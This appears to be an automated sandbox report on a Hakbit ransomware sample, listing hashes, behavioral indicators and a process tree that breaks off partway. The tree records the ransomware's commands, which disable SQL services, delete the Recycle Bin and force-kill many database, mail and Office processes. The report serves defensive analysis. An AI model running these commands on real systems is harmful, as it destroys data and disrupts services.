Overview
overview
10Static
static
1008751be484...2d.dll
windows10-2004-x64
100a9f79abd4...51.exe
windows10-2004-x64
30di3x.exe
windows10-2004-x64
102019-09-02...10.exe
windows10-2004-x64
102c01b00772...eb.exe
windows10-2004-x64
731.exe
windows10-2004-x64
103DMark 11 ...on.exe
windows10-2004-x64
342f9729255...61.exe
windows10-2004-x64
105da0116af4...18.exe
windows10-2004-x64
1069c56d12ed...6b.exe
windows10-2004-x64
10905d572f23...50.exe
windows10-2004-x64
1948340be97...54.exe
windows10-2004-x64
1095560f1a46...f9.dll
windows10-2004-x64
5Archive.zi...3e.exe
windows10-2004-x64
8DiskIntern...en.exe
windows10-2004-x64
3ForceOp 2....ce.exe
windows10-2004-x64
7HYDRA.exe
windows10-2004-x64
10KLwC6vii.exe
windows10-2004-x64
1Keygen.exe
windows10-2004-x64
10Lonelyscre...ox.exe
windows10-2004-x64
3LtHv0O2KZDK4M637.exe
windows10-2004-x64
10Magic_File...ja.exe
windows10-2004-x64
3OnlineInstaller.exe
windows10-2004-x64
8Remouse.Mi...cg.exe
windows10-2004-x64
3SecuriteIn...dE.exe
windows10-2004-x64
10SecuriteIn...ee.dll
windows10-2004-x64
10SecurityTa...up.exe
windows10-2004-x64
4Treasure.V...ox.exe
windows10-2004-x64
3VyprVPN.exe
windows10-2004-x64
10WSHSetup[1].exe
windows10-2004-x64
3Yard.dll
windows10-2004-x64
10b2bd3de3e5...2).exe
windows10-2004-x64
10Resubmissions
20/05/2025, 20:23
250520-y572ss1qv8 1020/05/2025, 20:10
250520-yx65jabr7v 1014/05/2025, 08:25
250514-kbrwtsfk31 10Analysis
-
max time kernel
102s -
max time network
216s -
platform
windows10-2004_x64 -
resource
win10v2004-20250502-en -
resource tags
arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system -
submitted
20/05/2025, 20:10
Static task
static1
Behavioral task
behavioral1
Sample
08751be484e1572995ebb085df1c2c6372084d63a64dce7fab28130d79a6ea2d.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral2
Sample
0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral3
Sample
0di3x.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral4
Sample
2019-09-02_22-41-10.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral5
Sample
2c01b007729230c415420ad641ad92eb.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral6
Sample
31.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral7
Sample
3DMark 11 Advanced Edition.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral8
Sample
42f972925508a82236e8533567487761.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral9
Sample
5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral10
Sample
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral11
Sample
905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral12
Sample
948340be97cc69c2cf8e5c8327ee52a89eeb50095f978696c710ad773a46b654.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral13
Sample
95560f1a465e8ba87a73f8e60a6657545073d55c3b5cfc2ffdaf3d69d46afcf9.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral14
Sample
Archive.zip__ccacaxs2tbz2t6ob3e.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral15
Sample
DiskInternals_Uneraser_v5_keygen.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral16
Sample
ForceOp 2.8.7 - By RaiSence.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral17
Sample
HYDRA.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral18
Sample
KLwC6vii.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral19
Sample
Keygen.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral20
Sample
Lonelyscreen.1.2.9.keygen.by.Paradox.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral21
Sample
LtHv0O2KZDK4M637.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral22
Sample
Magic_File_v3_keygen_by_KeygenNinja.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral23
Sample
OnlineInstaller.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral24
Sample
Remouse.Micro.Micro.v3.5.3.serial.maker.by.aaocg.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral26
Sample
SecuriteInfo.com.Generic.mg.cde56cf0169830ee.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral27
Sample
SecurityTaskManager_Setup.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral28
Sample
Treasure.Vault.3D.Screensaver.keygen.by.Paradox.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral29
Sample
VyprVPN.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral30
Sample
WSHSetup[1].exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral31
Sample
Yard.dll
Resource
win10v2004-20250502-en
General
-
Target
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
-
Size
80KB
-
MD5
8152a3d0d76f7e968597f4f834fdfa9d
-
SHA1
c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
-
SHA256
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
-
SHA512
eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
-
SSDEEP
1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0
Malware Config
Extracted
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
hakbit
Signatures
-
Disables service(s) 3 TTPs
-
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
-
Hakbit family
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-343936533-1262634978-1863872812-1000\Control Panel\International\Geo\Nation 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 212 sc.exe 2488 sc.exe 4456 sc.exe 1016 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4696 cmd.exe 4560 PING.EXE -
Kills process with taskkill 47 IoCs
pid Process 3648 taskkill.exe 4128 taskkill.exe 4000 taskkill.exe 2324 taskkill.exe 4020 taskkill.exe 4008 taskkill.exe 1172 taskkill.exe 3620 taskkill.exe 4212 taskkill.exe 1624 taskkill.exe 2388 taskkill.exe 4592 taskkill.exe 1152 taskkill.exe 4688 taskkill.exe 216 taskkill.exe 5056 taskkill.exe 3064 taskkill.exe 4636 taskkill.exe 4416 taskkill.exe 2728 taskkill.exe 3068 taskkill.exe 3636 taskkill.exe 2976 taskkill.exe 2248 taskkill.exe 3464 taskkill.exe 3724 taskkill.exe 3436 taskkill.exe 3704 taskkill.exe 3124 taskkill.exe 3460 taskkill.exe 1044 taskkill.exe 2980 taskkill.exe 412 taskkill.exe 3424 taskkill.exe 3128 taskkill.exe 1888 taskkill.exe 3760 taskkill.exe 4092 taskkill.exe 3960 taskkill.exe 3596 taskkill.exe 2220 taskkill.exe 2592 taskkill.exe 4080 taskkill.exe 3080 taskkill.exe 2620 taskkill.exe 3848 taskkill.exe 4964 taskkill.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1008 notepad.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4560 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeDebugPrivilege 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe Token: SeDebugPrivilege 4128 taskkill.exe Token: SeDebugPrivilege 2620 taskkill.exe Token: SeDebugPrivilege 1172 taskkill.exe Token: SeDebugPrivilege 3064 taskkill.exe Token: SeDebugPrivilege 5056 taskkill.exe Token: SeDebugPrivilege 4212 taskkill.exe Token: SeDebugPrivilege 3620 taskkill.exe Token: SeDebugPrivilege 3960 taskkill.exe Token: SeDebugPrivilege 2980 taskkill.exe Token: SeDebugPrivilege 4092 taskkill.exe Token: SeDebugPrivilege 1152 taskkill.exe Token: SeDebugPrivilege 4636 taskkill.exe Token: SeDebugPrivilege 2220 taskkill.exe Token: SeDebugPrivilege 4000 taskkill.exe Token: SeDebugPrivilege 4592 taskkill.exe Token: SeDebugPrivilege 3760 taskkill.exe Token: SeDebugPrivilege 3848 taskkill.exe Token: SeDebugPrivilege 2248 taskkill.exe Token: SeDebugPrivilege 412 taskkill.exe Token: SeDebugPrivilege 3424 taskkill.exe Token: SeDebugPrivilege 4964 taskkill.exe Token: SeDebugPrivilege 1888 taskkill.exe Token: SeDebugPrivilege 4688 taskkill.exe Token: SeDebugPrivilege 3704 taskkill.exe Token: SeDebugPrivilege 2388 taskkill.exe Token: SeDebugPrivilege 2324 taskkill.exe Token: SeDebugPrivilege 4416 taskkill.exe Token: SeDebugPrivilege 3436 taskkill.exe Token: SeDebugPrivilege 3080 taskkill.exe Token: SeDebugPrivilege 2592 taskkill.exe Token: SeDebugPrivilege 3460 taskkill.exe Token: SeDebugPrivilege 216 taskkill.exe Token: SeDebugPrivilege 3648 taskkill.exe Token: SeDebugPrivilege 3128 taskkill.exe Token: SeDebugPrivilege 4020 taskkill.exe Token: SeDebugPrivilege 1044 taskkill.exe Token: SeDebugPrivilege 4008 taskkill.exe Token: SeDebugPrivilege 3124 taskkill.exe Token: SeDebugPrivilege 3636 taskkill.exe Token: SeDebugPrivilege 3068 taskkill.exe Token: SeDebugPrivilege 2976 taskkill.exe Token: SeDebugPrivilege 2728 taskkill.exe Token: SeDebugPrivilege 1624 taskkill.exe Token: SeDebugPrivilege 3724 taskkill.exe Token: SeDebugPrivilege 3464 taskkill.exe Token: SeDebugPrivilege 4080 taskkill.exe Token: SeDebugPrivilege 4840 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4392 wrote to memory of 1016 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 87 PID 4392 wrote to memory of 1016 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 87 PID 4392 wrote to memory of 4456 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 88 PID 4392 wrote to memory of 4456 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 88 PID 4392 wrote to memory of 1420 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 89 PID 4392 wrote to memory of 1420 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 89 PID 4392 wrote to memory of 2488 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 91 PID 4392 wrote to memory of 2488 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 91 PID 4392 wrote to memory of 212 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 93 PID 4392 wrote to memory of 212 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 93 PID 4392 wrote to memory of 3620 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 97 PID 4392 wrote to memory of 3620 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 97 PID 4392 wrote to memory of 3960 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 98 PID 4392 wrote to memory of 3960 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 98 PID 4392 wrote to memory of 5056 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 99 PID 4392 wrote to memory of 5056 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 99 PID 4392 wrote to memory of 3064 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 100 PID 4392 wrote to memory of 3064 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 100 PID 4392 wrote to memory of 2980 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 105 PID 4392 wrote to memory of 2980 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 105 PID 4392 wrote to memory of 4092 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 106 PID 4392 wrote to memory of 4092 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 106 PID 4392 wrote to memory of 4212 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 107 PID 4392 wrote to memory of 4212 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 107 PID 4392 wrote to memory of 412 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 108 PID 4392 wrote to memory of 412 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 108 PID 4392 wrote to memory of 2248 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 109 PID 4392 wrote to memory of 2248 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 109 PID 4392 wrote to memory of 3760 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 110 PID 4392 wrote to memory of 3760 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 110 PID 4392 wrote to memory of 1888 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 111 PID 4392 wrote to memory of 1888 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 111 PID 4392 wrote to memory of 4964 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 112 PID 4392 wrote to memory of 4964 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 112 PID 4392 wrote to memory of 2592 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 113 PID 4392 wrote to memory of 2592 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 113 PID 4392 wrote to memory of 4128 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 114 PID 4392 wrote to memory of 4128 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 114 PID 4392 wrote to memory of 1172 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 115 PID 4392 wrote to memory of 1172 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 115 PID 4392 wrote to memory of 2220 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 116 PID 4392 wrote to memory of 2220 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 116 PID 4392 wrote to memory of 1044 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 117 PID 4392 wrote to memory of 1044 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 117 PID 4392 wrote to memory of 216 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 118 PID 4392 wrote to memory of 216 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 118 PID 4392 wrote to memory of 2976 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 119 PID 4392 wrote to memory of 2976 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 119 PID 4392 wrote to memory of 4008 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 120 PID 4392 wrote to memory of 4008 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 120 PID 4392 wrote to memory of 3596 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 121 PID 4392 wrote to memory of 3596 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 121 PID 4392 wrote to memory of 3128 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 122 PID 4392 wrote to memory of 3128 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 122 PID 4392 wrote to memory of 3636 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 123 PID 4392 wrote to memory of 3636 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 123 PID 4392 wrote to memory of 4688 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 124 PID 4392 wrote to memory of 4688 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 124 PID 4392 wrote to memory of 3460 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 125 PID 4392 wrote to memory of 3460 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 125 PID 4392 wrote to memory of 3848 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 126 PID 4392 wrote to memory of 3848 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 126 PID 4392 wrote to memory of 3068 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 127 PID 4392 wrote to memory of 3068 4392 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 127
Processes
-
C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
PID:1016
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
PID:4456
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:1420
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
PID:2488
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
PID:212
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3620
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5056
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3064
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2980
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4092
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4212
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:412
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2248
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3760
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1888
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4964
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2592
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4128
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1172
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2220
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
